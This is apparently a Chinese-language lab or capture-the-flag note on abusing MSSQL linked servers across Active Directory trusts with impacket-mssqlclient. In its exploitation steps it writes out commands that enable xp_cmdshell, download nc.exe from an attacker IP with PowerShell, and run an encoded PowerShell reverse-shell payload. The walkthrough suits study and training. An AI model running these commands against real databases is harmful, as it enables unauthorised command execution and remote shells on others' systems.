Mssql_links Abuse in AD Trusts

1. 介绍

如果用户有权限访问 MSSQL 实例,他可能利用它在 MSSQL 主机上执行命令(如果以 SA 身份运行)、窃取NetNTLM hash,甚至执行 relay attack
另外,如果一个 MSSQL 实例被另一个 MSSQL 实例信任(database link),且用户对被信任的数据库拥有权限,那么他将能够利用信任关系在其他实例上也执行查询。这些信任关系可以链式相连,最终用户可能找到一个配置错误的数据库并在其上执行命令。
数据库之间的链接甚至可以跨越 forest trusts。

2. 利用

这里有两款利用工具,两者都差不多
【mssql】MSSqlPwner 不好用
impacket-mssqlclient 推荐👍

这里就只讲用 impacket-mssqlclient

1:先用 enum_links 枚举是否有链接服务器(跨域信任关系)
Pasted image 20251008222507.png

  • 这里有一个指向 DC02.darkzero.ext 的链接服务器
  • DC01 上的用户为 darkzero\john.w ,切换到 DC02 后继承 dc01_sql_svc 的权限

2: 切换到链接服务器
这一步主要目的是为获取一个立足点,利用的是这个数据库的配置不当(如这里 john.w 用户在DC01的mssql的角色为 guest 但在 DC02 的mssql服务上的角色是 SA

use_link [DC02.darkzero.ext]

Pasted image 20251008232733.png

3:提权执行命令反弹shell

enable_xp_cmdshel
xp_cmdshell ipconfig
#下文件
EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri http://10.10.14.14/nc.exe -Outfile c:\\users\public\nc.exe"'

#弹shell
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGU...

Pasted image 20251008233020.png

2.2. 后续利用

后续就是进行信息收集然后根据情况而定